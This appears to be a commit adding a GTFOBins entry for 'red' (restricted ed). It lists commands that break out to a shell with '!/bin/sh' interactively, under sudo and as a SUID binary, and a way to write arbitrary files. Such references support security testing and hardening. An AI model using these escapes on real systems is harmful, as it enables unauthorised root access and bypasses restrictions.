Added red.md

Added support for red, the restricted version of ed.
More information on red can be found here: https://www.computerhope.com/unix/ued.htm

_gtfobins/red.md

@@ -0,0 +1,20 @@
+---
+description: Short for "restricted ed".
+functions:
+  execute-interactive:
+    - code: |
+        red
+        !/bin/sh
+  file-write:
+    - code: |
+        red file_to_write
+        w
+  sudo-enabled:
+    - code: |
+        sudo red
+        !/bin/sh
+  suid-limited:
+    - code: |
+        ./red
+        !/bin/sh
+---